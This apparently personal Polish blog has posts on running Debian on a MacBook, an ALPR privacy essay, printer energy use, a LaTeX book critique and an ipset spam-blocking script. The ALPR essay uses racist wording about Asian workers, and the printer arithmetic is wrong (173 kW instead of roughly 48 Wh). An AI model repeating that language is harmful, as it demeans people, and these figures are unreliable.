           ââ963 /lib/systemd/systemd-logind

Jun 12 00:27:31 eclipse systemd-logind[963]: Watching system buttons on /dev/input/event0 (Lid Switch)
Jun 12 00:27:31 eclipse systemd-logind[963]: Watching system buttons on /dev/input/event2 (Sleep Button)
Jun 12 00:27:31 eclipse systemd-logind[963]: Watching system buttons on /dev/input/event7 (Apple Inc. Apple Internal Keyboard / Trackpad)
Jun 12 00:27:31 eclipse systemd[1]: Started Login Service.

Jak widać obserwowane są:

Lid Switch - czyli klapa lapa
Sleep Button - czyli główny wyłącznik
Apple Internal Keyboard/Trackpad - klawiatura i trackpad, po to żeby wybudzić z uśpienia czyli przerwać odliczanie do hibernacji (to ustawione wcześniej 10 minut)

Polecenie wyłączające suspend i hibernację:

sudo systemctl unmask sleep.target suspend.target hibernate.target hybrid-sleep.target

To raczej ostateczność: https://itsfoss.com/ubuntu-close-lid-suspend/

VPN:

https://site.elastichosts.com/blog/linux-l2tpipsec-vpn-client/

Xmonad:

https://xiangji.me/2018/11/19/my-xmonad-configuration/

problemy z X?

https://wiki.debian.org/Xsession

problemy z dźwiękiem przez DisplayPort?

https://unix.stackexchange.com/questions/88118/alsa-how-to-temporarily-change-the-output-device

Touchpad i dispad

https://int3ractive.com/2018/09/make-the-best-of-MacBook-touchpad-on-Ubuntu.html

Problem z xscreensaver

https://bbs.archlinux.org/viewtopic.php?pid=1218771#p1218771

Systemd

https://www.dobreprogramy.pl/mariushko/Poradnik-systemd-cz.-1,67627.html

https://wiki.archlinux.org/index.php/Systemd/User

Różne porady

https://martinralbrecht.wordpress.com/2014/05/03/debiantesting-on-macbook-pro-113/
https://apfelkraut.org/2017/06/howto-debian-gnulinux-stretch-as-dual-boot-on-a-macbookpro113/
https://blog.sviluppoweb.eu/2014/02/20/debian-on-macbook-pro-retina-15/

reFind

https://github.com/0xbb/apple_set_os.efi

rofi i skrypty

w ~/bin/ (przy okazji plugin do VIM-a do robienia tabelek)
rofi do VPN (skrypt wyświetlający połączone VPN-y),
rofi do Mikrotika
rofi do wyświetlania Helpa
rofi do qalc (opis qalc)

Opis khal, vdirsyncera oraz keyring.

alias khali='khalinteractive'
keyring set CalDAV paczor
podaję hasło
a pobranie: keyring get CalDAV paczor
w .vdirsyncer/config załatwia to potem linia:
password.fetch = ["command", "keyring", "get", "CalDAV", "paczor"]
i już nie pyta o hasło

MariaDB

po "sudo reboot" bardzo długo się zamyka, wyświetlając komunikat: â€œA stop job is running to ...â€?. Pomaga to:

sudo dpkg-reconfigure tzdata

Nextcloud client:

cat /etc/apt/sources.list.d/nextcloud-devs-ubuntu-client-groovy.list
deb http://ppa.launchpad.net/nextcloud-devs/client/ubuntu groovy main
#deb-src http://ppa.launchpad.net/nextcloud-devs/client/ubuntu groovy main

sudo gpg --keyserver keyserver.ubuntu.com --recv 60EE47FBAD3DD469
sudo gpg --export --armor 60EE47FBAD3DD469 | sudo apt-key add -

VirtualBox:

cat /etc/apt/sources.list.d/virtualbox.list
deb [arch=amd64] https://download.virtualbox.org/virtualbox/debian buster contrib

wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add -
wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | sudo apt-key add -
sudo apt-get update
sudo apt-get install virtualbox-6.1
wget https://download.virtualbox.org/virtualbox/6.1.6/Oracle_VM_VirtualBox_Extension_Pack-6.1.6.vbox-extpack
sudo virtualbox Downloads/Oracle_VM_VirtualBox_Extension_Pack-6.1.6.vbox-extpack
sudo usermod -a -G vboxusers $USER

Partycje APFS:

https://linuxnewbieguide.org/how-to-mount-macos-apfs-disk-volumes-in-linux

APFS z dysku: https://github.com/sgan81/apfs-fuse

sudo apt install fuse libfuse3-dev bzip2 libbz2-dev cmake git libattr1-dev zlib1g-dev
git clone https://github.com/sgan81/apfs-fuse.git
cd apfs-fuse
git submodule init
git submodule update
mkdir build
cd build
cmake ..
# jeśli chcesz zmienić ustawienia to:
# sudo apt install cmake-curses-gui
# ccmake .
make
sudo make install
sudo cp apfsutil /usr/local/bin
# wylistowanie dostępnych partycji i nazw woluminów
sudo apfsutil /dev/sdc2

Volume 4 FD331FC1-1327-45D7-8538-F6B19B5139E6
---------------------------------------------
Role:               No specific role
Name:               MEDIA-torba (Case-insensitive)
Capacity Consumed:  18652901376 Bytes
FileVault:          No

Volume 5 AA7F7F57-D871-4870-A6C9-CAC003F57157
---------------------------------------------
Role:               No specific role
Name:               VIRT-torba (Case-insensitive)
Capacity Consumed:  174489903104 Bytes
FileVault:          No


i montując należy podać nazwę voluminu, np. żeby zamontować volume 5:
sudo apfs-fuse -o uid=1000,gid=1000,allow_other -v 5 /dev/sdc2 /mnt/torba
# opcje po -o, pozwalają na dostęp userom

Przełączenie na zintegrowaną kartę Intel:

Dlaczego w ogóle warto zawracać sobie tym głowę? Po pierwsze, gdy używam opesource'owego sterownika do kart Nvidii - Nouveau - nie działa hibernacja. A właściwie działa ale po wyjściu z zamrożenia użycie procesora skacze go ponad 90%, kernel zaś pluje taką ilością ostrzeżeń, że po kilku minutach syslog może spuchnąć do wielu gigabajtów.

Po drugie, po przejściu na komercyjne sterowniki Nvidii traci się możliwość przejścia z X-ów do konsoli.

Po trzecie, Nvidia na komercyjnych sterownikach żre mnóstwo prądu, skracając czas działania na baterii

w pliku /boot/efi/EFI/refind/refind.conf dodaj linię:

spoof_osx_version 10.9

która sprawia, że Macbook "myśli", że bootuje w macOS-ie.

Pobierz gpu-switch ze strony: https://github.com/0xbb/gpu-switch. Użyj go z przełącznikiem "-i":

gpu-switch -i

Spowoduje to przełączenie na kartę Intela. Teraz reboot.

Zainstaluj pakiet: xserver-xorg-video-intel i gotowe.

A teraz jazda bez trzymanki czyi próba wyłączenia Nvidii, mnie się nie udaje, mam błędy kernela i kończy się kompletnym zwisem. Lecz jeśli jej nie wyłączę to wszystko ładnie hasa.

Opis i potrzebny kod są tu: https://wiki.archlinux.org/index.php/MacBookPro10,x#Graphics_2

oraz tu: https://wiki.archlinux.org/index.php/MacBookPro11,x#Graphics

HiDPI

https://wiki.archlinux.org/index.php/HiDPI

TLPd (energia)

https://linrunner.de/tlp/

Bzdurki

Fortunki: https://github.com/maxieds/math-fortune-mod

Cool Rerto Term: https://github.com/Swordfish90/cool-retro-term

Różne porady

https://int3ractive.com/2019/12/things-to-do-after-installing-ubuntu-mate.html

an2linux

Czyli powiadomienia z Androida na laptopie: https://github.com/rootkiwi/an2linuxserver

instalacja w systemd: https://github.com/rootkiwi/an2linuxserver/tree/master/init/systemd-user

Problemy z przewaniami

https://unix.stackexchange.com/questions/242013/disable-gpe-acpi-interrupts-on-boot

https://www.google.com/search?client=ubuntu&channel=fs&q=linux+disable+acpi+interrrupt&ie=utf-8&oe=utf-8

Debian na Macbooku Pro Late 2013 cz.2 (xorg)

2020-12-08T00:56:00+01:00

Adnotacja z 2026: artykuł nigdy nie dokończony

Niniejszy artykuł powstał ponad rok temu i przeleżał wszystkie te mesiące w postaci szkicu, uzupełnianego o nowe pozycje.

Ta część opisuje instalację Xorg.

Xorg

Nvidia

Xorg działało od razu na driverze nouveau czyli opensourcowym sterowniku dla Nvidii.
Zachciało mi się jednak oryginalnego sterownika. Mimo wielu prób nie kopilowały mi się moduły jądra. Podczas kompilacji wyskakiwał błąd, że brak jest pliku include/generated/autoconf.h, chociaż plik jak najbardziej był na właściwym miejscu.
Nie chciało mi się kopać z koniem, inni też się wymęczyli, więc użyłem repozytorium jessie-backports (wg.: https://wiki.debian.org/NvidiaGraphicsDrivers#jessie-352):

do /etc/apt/sources.list dodałem:

deb http://httpredir.debian.org/debian jessie-backports main contrib non-free

apt-get update

apt-get install -t jessie-backports nvidia-driver

Trzeba usunąć /etc/X11/xorg.conf, bez niego server X używa domyślnych ustawień i działa prawidłowo.
Na konfigurację przyjdzie jeszcze czas...
Przerzuciłem się na zamknięty sterownik od NVidii (ten z .run na końcu). Jest OK ale nadal nie działa przechodzenie między X-ami, a konsolą. Podobno ten trick załatwia sprawę:

setpci -v -H1 -s 00:01.00 BRIDGE_CONTROL=0

Aktualizacja: niestety, to nie działa.

XSCREENSAVER

Chcę, żeby startował automatycznie po zalogowaniu się do sesji X-ów.

Tworzę katalog:

mkdir ~/.config/systemd/user

a w nim plik: xscreensaver.service z następującą zawartością:

[Unit]
Description=XScreenSaver Daemon
[Service]
ExecStart=/usr/bin/xscreensaver --no-splash
[Install]
WantedBy=default.target

Następnie włączam serwis:

systemctl --user enable xscreensaver.service

i uruchamiam:

systemctl --user start xscreensaver.service

Przejście na Display Managera: sddm

dpkg-reconfigure sddm

własny temat: https://jlk.fjfi.cvut.cz/arch/manpages/man/sddm.conf.5

w /etc/sddm.conf dodać wpis:

[Theme]
Current=debian-paczor
FacesDir=/home/paczor/Pictures/faces

Tematy są w: /usr/share/sddm/themes/

Skopiowałem debian-breeze jako debian-paczor i zmieniam konfigurację jak chcę.

Xmonad:

https://xiangji.me/2018/11/19/my-xmonad-configuration/

problemy z X?

https://wiki.debian.org/Xsession

Problem z xscreensaver

https://bbs.archlinux.org/viewtopic.php?pid=1218771#p1218771

Przełączenie na zintegrowaną kartę Intel:

Po drugie, po przejściu na komercyjne sterowniki Nvidii traci się możliwość przejścia z X-ów do konsoli.

Po trzecie, Nvidia na komercyjnych sterownikach żre mnóstwo prądu, skracając czas działania na baterii

w pliku /boot/efi/EFI/refind/refind.conf dodaj linię:

spoof_osx_version 10.9

która sprawia, że Macbook "myśli", że bootuje w macOS-ie.

Pobierz gpu-switch ze strony: https://github.com/0xbb/gpu-switch. Użyj go z przełącznikiem "-i":

gpu-switch -i

Spowoduje to przełączenie na kartę Intela. Teraz reboot.

Zainstaluj pakiet: xserver-xorg-video-intel i gotowe.

A teraz jazda bez trzymanki czyi próba wyłączenia Nvidii, mnie się nie udaje, mam błędy kernela i kończy się kompletnym zwisem. Lecz jeśli jej nie wyłączę to wszystko ładnie hasa.

Opis i potrzebny kod są tu: https://wiki.archlinux.org/index.php/MacBookPro10,x#Graphics_2

oraz tu: https://wiki.archlinux.org/index.php/MacBookPro11,x#Graphics

HiDPI

https://wiki.archlinux.org/index.php/HiDPI

Problemy z przerwaniami

https://unix.stackexchange.com/questions/242013/disable-gpe-acpi-interrupts-on-boot

https://www.google.com/search?client=ubuntu&channel=fs&q=linux+disable+acpi+interrrupt&ie=utf-8&oe=utf-8

A to bateria

2020-12-01T11:44:00+01:00

Od kilku tygodni mam problem z klawiszami w Macbooku. Początkowo myślałem, że mam problem z palcami, który pochodzi z problemów z kręgosłupem. No ale na szczęście nie. Więc zacząłem uważać, że tu chodzi o sprzęt, no bo skoro zarówno w Linuksie, jak i w macOS-ie mam ten sam problem z niedziałającymi czasem klawiszami "r, t, y, u, i, o", to musi znaczyć że dzieje się coś złego ze sprzętem.

Pomyślałem, że nie zaszkodzi rozebrać maczka i trochę go obejrzeć, a przy okazji przeczyścić. Ale to nie pomogło. No więc to albo uszkodzenie samej klawiatury albo... to gorzej... kontrolera czyli niestety płyty głównej.

Ale dosłownie przed chwilą wpadłem na pomysł, że problem może się brać z programu, który blokuje mi iiiiiiiiiiiiiiiooooooo ooooiuuu iu iuiu iu i uiuoioioi oioi uuuoo ioioioioi iuiuiiuoio ppoooooiiiiii uiiuiuiuiuiuiuiuiuiui o właśnie znowu się to stało w trakcie pisania tego wpisu w Firefoksie. Wracam więc do pisania. Wpadłem na pomysł, że to przez program używany w obu sysecham korych używam na Macbooku. No i padło na Firefksa. znw zaczn m pzes

Dopisek po kilku latach: to byla spuchnięta bateria, która uszkodziła klawiaturę.

Ile pieniędzy zjada drukarka?

2020-11-20T09:17:00+01:00

Zadałem sobie kiedyś pytanie ile prądu, czyli też pieniędzy, pożera duża drukarka firmowa. Konkretnie chodziło o model WorkCenter 7245.

Z wirtualnej tabliczki znamionowej odczytałem, że drukarka posiada następujące parametry:

Pobór mocy w czasie pracy < 1080 watów
Pobór w stanie oczekiwania < 200 watów
Niski pobór mocy < 85 watów
Tryb uśpienia < 10 watów
Podgrzewanie trwa 70 sekund
Wyjście ze stanu Niskiego poboru trwa 30 sekund (maksymalnie)

Urządzenie drukuje 40 stron na minutę, co daje 1,5 strony na sekundę.

Z logów urządzenia znam dzienne obciążenie pracą - jest średnio 107 stron A4.

Dziennie 160,5 sekund drukarka ciągnie 1080 W czyli 173kW w ciągu dnia.

Zostałeś automatycznie zgłoszony!

2020-11-08T20:09:00+01:00

Od ponad 5 lat mam do czynienia, zawodowo, z automatycznym rozpoznawaniem tablic rejestracyjnych, w skrócie ALPR (Automatic License Plate Readers). Jeszcze parę lat temu klientami firm związanych z ALPR byli posiadacze parkingów czy właściciele domów towarowych. Głównie chodziło o automatyczny dostęp do miejsc postojowych. Ostatnio, klientami stają się osoby prywatne, które działając z dobrych pobudek, nieświadomie OGRANICZAJĄ WŁASNĄ i CUDZĄ„ WOLNOŚĆ.

Jak każda technologia, ALPR w ciągu ostatnich lat rozwinęła się niesamowicie - głównie za sprawą miniaturyzacji i, oczywiście, śmiertelnego dla świata białego człowieka, szaleńczego trendu przenoszenia produkcji do Azji. Sprzęt, wytwarzany przez żółtoskórych niewolników tzw. Zachodu i, pamiętajmy, KOMUNISTYCZNEGO rezimu staniał tak bardzo, że kupić go może właściwie każdy (my też ustawiliśmy się w tej kolejce).

W zaraniu tej technologii używaliśmy dedykowanych kamer i software'u. Kamera rejestrowała obraz, a software, zainstalowany na silnym Pececie, analizował ten obraz i za pomocą OCR (Optical Character Recognition) zgadywał poszczególne znaki tablicy.

O technice OCR popełniłem w 2004 roku artykuł dla portalu Linuxsoft.cz. O dziwo, strona wciąż istnieje lecz w moim artykule brak już obrazków, postanowiłem więc odtworzyć go tu, na scyzoryku.

Upowszechnienie się procesorów sygnałowych spowodowało pojawienie specjalizowanych urządzeń i PeCet z zainstalowanym programem skurczył się i zamienił w czarne pudełko rozmiarów dwóch paczek papierosów lub specjalizowaną kartę na złączu PCI.

W końcu, i jest to dzisiejszy stan rzeczy, całą robotę związaną z ALPR "odwala" sama kamera. Koszt takiej kamery spada i w 2020 roku wynosi ok. 2000 złotych. Na zakup mogą już pozwolić sobie nie tylko służby, jak policja czy straż, ale np. spółdzielnie mieszkaniowe czy wspólnoty, a nawet indywidualne osoby.

Kamera z rozpoznawaniem twarzy oraz jej atrybutów (okulary, broda, zasłonięcie twarzy, wiek, płeć, nastrój) to koszt tylko 800 złotych.

Amerykańskie dane, bo tych jest najwięcej, pokazują że technika ALPR stosowana jest w sektorze prywatnym ze szlachetnych pobudek ale jak mówi przysłowie: piekło wybrukowane jest dobrymi chęciami. Stowarzyszenia mieszkańców w USA instalują kamery ALPR do kontrolowania pojazdów wjeżdżających na teren osiedla - zapewne chodzi tu o automatyczne otwieranie bramek czy wjazdów do garaży - oraz do podniesienia bezpieczeństwa w nadzorowanej okolicy.

Audyty przeprowadzone w Kaliforni i stanie Vermont wykazały, że systemy ALPR są bardzo często używane z naruszeniem prawa do prywatności. Dane o tablicach rejestracyjnych samochodów przejeżdżających w pobliżu kamer mogą być nawet dostępne publicznie!

Dlaczego to tak ważne? Wyobraźmy sobie, że przejeżdżaliśmy przez teren z zainstalowanymi kamerami ALPR, zupełnie nieświadomi że dokonano tam jakiegoś groźnego przestępstwa. Ponieważ nasz przejazd został zarejestrowany, a tablice rozpoznane, możemy stać się obiektem zainteresowania policji. Może dojść do zatrzymania, a przecież to nigdy nie jest przyjemna sprawa, zwłaszcza gdy zostaniemy zatrzymani z całą rodziną, jak stało się w Colorado, gdzie system omyłkowo uznał samochód za skradziony.

To może skrajny przypadek ale wcale nie taki niemożliwy jak się wydaje. Wiem o czym piszę, gdyż podczas instalacji systemów ALPR, muszę pamiętać o ograniczeniu ich zasięgu gdyż z łatwością "łapią" tablice przejeżdżających przez okolicę pojazdów.

Prywatnych kamer ALPR będzie coraz więcej i z pewnością będą rejestrować coraz więcej danych. Znając niefrasobliwość, wynikającą z niewiedzy, osób instalujących kamery na swoich podwórkach, mogę ze 100% pewnością napisać, że dane te prędzej lub później trafią w niepowołane ręce.

Pół biedy gdy będzie to tylko zazdrosny sąsiad, gorzej gdy np. częstotliwość i czas parkowania poznają złodzieje planujący skok na dom. Nawet nie chcę myśleć co będzie w przypadku osób niewygodnych dla rządzącej frakcji politycznej czy ideologicznej.

Niestety przyszłość już nastała i wygląda bardzo źle. Systemy ALPR potrafią rozpoznawać pojazd nie tylko po numerach rejestracji. Możliwe jest rozpoznanie oraz identyfikacja pojazdu po korozji czy wgnieceniach na nadwoziu.

Nie wyobrażam sobie sytuacji podobnej do tej o jakiej opowiadał na swoim vlogu mieszkający w Szwajcarii Gynvael Coldwind: włączasz w domu odkurzacz po określonej godzinie i do twoich drzwi puka policja ściągnięta przez hiper-praworządnego obywatela.

W powyższym przypadku mamy jeszcze do czynienia z reakcją człowieka i pewnym zakresem elastyczności, w przyszłości zły stan naszego samochodu zgłosi automatycznie nieczuła kamera nieznanego człowieka.

Brrrr!

[Encrypted] Jak mnie w to wciągnięto?

2020-11-04T10:00:00+01:00

Ta treść została zaszyfrowana bo wariatów nie brakuje, a ja mam rodzinę.

[Encrypted] Moje ciało, cudza decyzja

2020-10-26T15:54:00+01:00

cSW9x/nnV5zMMfpbbS2ntw==;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;^

Ta treść została zaszyfrowana bo wariatów nie brakuje, a ja mam rodzinę.

Niepokojące zjawisko

2020-10-10T19:04:00+02:00

Czytam książkę "LaTeX - książka kucharska" i zaczyna mnie niepokoić ilość błędów językowych, jakie znajduję w tej lekturze.

Książka opisuje system składu publikacji i to system, który kojarzony jest z bardzo wysoką jakością. To skojarzenie automatycznie przenosi się również na treść, ale nie chodzi mi nawet o przesłanie, narrację, itp. ale poprawność języka pod względem składni oraz logikę wypowiedzi.

Początek książki brzmi tak:

Wszystko zaczęło się 30 marca 1977 roku. Donald E. Knuth usiadł przy

swoim masywnym, drewnianym biurku ze zdobionymi nogami, w stylu typo-

wym dla gabinetów Uniwersytetu Stanforda, by rozpocząć dzień od spraw-

dzenia bieżącej poczty. Przez niewielkie okno za jego plecami wpadał kli-

mat poranka w San Francisco w towarzystwie ciepłego, wiosennego słońca.

Rany boskie! Od kiedy klimat może wpaść przez okno!? I to jeszcze w towarzystwie. Nie chcę być złośliwy i przemilczę styl powyższych zdań. Dalej jest jeszcze trochę grafomanii, a potem na przykład takie zdanie:

Zbiór 256 znaków nie mógł jednak wyczerpać potrzeb wszystkich narodów.

Zaraz, zaraz... czy można wyczerpać potrzeby? Potrzeby się zaspokaja, wyczerpują się zasoby. Zdanie powinno brzmieć:

Zbiór 256 znaków nie mógł jednak zaspokoić potrzeb wszystkich narodów.

"Przeszedłem" jeszcze kilka rozdziałów i, na szczęście, jest dużo lepiej - części te, w większości ściśle technicznie, nie zawierają wpadek.

Na razie.

Hitler w algorytmie

2020-10-03T16:29:00+02:00

Adnotacja z 2026: artykuł nigdy nie dokończony

Będzie o nauce w służbie człowieka, moralności, algorytmach śledzących i mętnych tłumaczeniach.

Zaczęło się od reklamowej wrzutki na LinkedIn, w której prezentowana była usługa zwana "Behavioural Biometrics". Po polsku chodzi o rozpoznawanie ludzi na podstawie zachowań. Termin brzmi neutralnie ale dotyczy jednej z najwstrętniejszych technik śledzenia ludzi.

Każdy człowiek na świecie ma wiele wyróżniających go cech, które pozwalają nam wzajemnie się rozpoznawać. Są one związane z naszymi zmysłami, których (odkrytych) na razie mamy 5: wzrok, słuch, węch, smak i dotyk.

Wikipedia podsuwa jeszcze 4 kolejne: nocycepcja, zmysł temperatury, zmysł równowagi, propriocepcja, percepcja czasu.

Rozpoznajemy się nawzajem za pomocą wzroku - porównujemy twarz z zapisanym w pamięci "rekordem identyfikacji", słuchu - rozróżniamy tembr i inne cechy głosu, zapachu i dotyku. Nie jestem pewny jak jest ze smakiem.

Nieco podobnie jest

Fala p300

Postęp? To przestało być śmieszne.

2020-09-28T12:32:00+02:00

W któryś tam epizodzie "Teorii wielkiego podrywu" (The Big Bang Theory) pada dowcip, który właśnie przestał być zabawny. Z powodu postępu.

Jest wrzesień 2020 roku czyli od premiery tego odcinka serialu minęło prawie dokładnie 9 lat i mamy coś co nie jest wprawdzie parą okularów do oglądania wszystkiego w 3D ale technologię, która na podstawie płaskich zdjęć tworzy trzeci wymiar:

https://youtu.be/T29O-MhYALw

Jak widać, z analizy zdjęć algorytm generuje brakujący wymiar. Efekt jest fascynujący ale najlepsze jest to, że naprawdę ziściło się marzenie tego grubasa z serialu.

p.s.:

YouTube to przestarzała platforma, odchodząca w niebyt i nie wiem jak długo ten film tu zostanie, dokładam więc link do artykułów:

NeRF in the Wild

na arxiv.org

Przyśnił mi się dziś taki dowcip:

Scrum Master wchodzi do pokoju developerów w którym są dwa stanowiska. Przy jednym, na fotelu, siedzi Senior Developer Mateusz, drugie jest puste. Scrum Master podchodzi do pustego fotela i kładzie na nim kartkę z napisanym dużymi literami imieniem: Adrian. Mateusz patrzy najpierw na nią, potem pytająco na Scrum Mastera. Scrum Master mówi wskazując kartkę: - Musiałem zwolnić Adriana, to jest jego zastępca. Więcej ci pomoże.

Wniosek: przed snem nie jeść oglądając HRejterów.

Skrypt kontra spamerzy cz. 2

2020-09-24T08:09:00+02:00

W pierwszej części pisałem o japońskim filmie, Reksiu, historii dwukropka oraz, co najmniej chyba ważne, skrypcie do blokowania spamerów.

Część druga będzie krótka ponieważ jest tylko rozwinięciem istniejącego już skryptu. Pokażę teraz co do niego dodałem:

cat spammers.log | awk ' BEGIN { FS = "," } {if ($2 > 333) system("ipset add blacklist "$1)}'

Plik "spammers.log" jest właściwie w formacie CSV, bo poszczególne pola oddzielone są przecinkiem (coma separated value), a rekordy znakiem nowej linii. Z tej właściwości korzystam w dodanym fragmencie.

Dyrektywa FS = "," mówi awk-owi, że znakiem rozdzielającym pola jest przecinek. Dzięki temu każdy rekord czyli jedną linię pliku awk dzieli na pola, a znajdujące się w nich wartości podstawia odpowiednio pod zmienne: $1 i $2.

Ponieważ plik wygląda tak:

212.70.149.83       ,19652
193.35.48.18        ,27796
45.142.120.209      ,39014
45.142.120.192      ,45761
45.142.120.53       ,72477

to dla 1-ej linii zmienna $1 będzie miała wartość 212.70.149.83, a zmienna $2 wartość 19652.

Nota bene: oznacza to, że gnojek spod ww. adresu IP połączył się z serwerem w dość krótkim czasie, ponad 19 tysięcy razy!

Potem następuje instrukcja warunkowa, mówiąca mniej więcej to: jeśli wartośc zmiennej $2 przekracza 333 to uruchom polecenie systemowe. O co chodzi z liczbą 333? Jeśli jakiś host połączy się w krótkim czasie z moim więcej niż 333 razy to najprawdopodobniej jest to spammer.

Tak, wiem. Liczba jest z kosmosu. Ale tylko na razie. Przecież po to są komputery, żeby cierpliwie zbierać dane i na ich podstawie urealniać kosmiczne założenia. Ale to później. Na razie niech zostanie 333, bo ładnie wygląda.

Polecenie system("ipset add blacklist "$1)mówi awk-owi, by dla spełnionego wyżej opisanego warunku uruchomił ipset. A ipset dodaje do blacklisty IP, które przechowane jako wartość zmiennej $2.

No i na razie tyle.

Pozstało jeszcze parę rzeczy do zrobienia:

statystyka, która być może da odpowiedź jak odróżnić spamerów od zwykłych połączeń,
zachowywanie ustawień ipset,
odtwarzanie tych ustawień.

Zabawa robi się coraz fajniejsza.

Streaming video/audio live

2020-09-23T22:32:00+02:00

Założenie konta na LinkedIn już zaowocowało!!! Właśnie zakończyliśmy realizację prac dla dużej telewizji internetowej. Najfajniej, że wszystko świetnie działa i już zostało sprawdzone w realnych warunkach czyli podczas dużego wydarzenia medialnego.

Zlecenie:

stworzenie systemu, który umożliwi strumieniowe przesyłanie sygnału audio i wideo (live) z kamer na mieście do studia.

Wymagania:

możliwość rekonfigurowania parametrów streamu w zdalnym urządzeniu,
failover w zdalnym urządzeniu - za pomocą dwóch łącz komórkowych od różnych dostawców,
łatwe przywracanie konfiguracji w przypadku błędu,
łatwe klonowanie konfiguracji na wiele urządzęń,
niski koszt.

Graficznie całość przedstawia się tak:

Wykonanie:

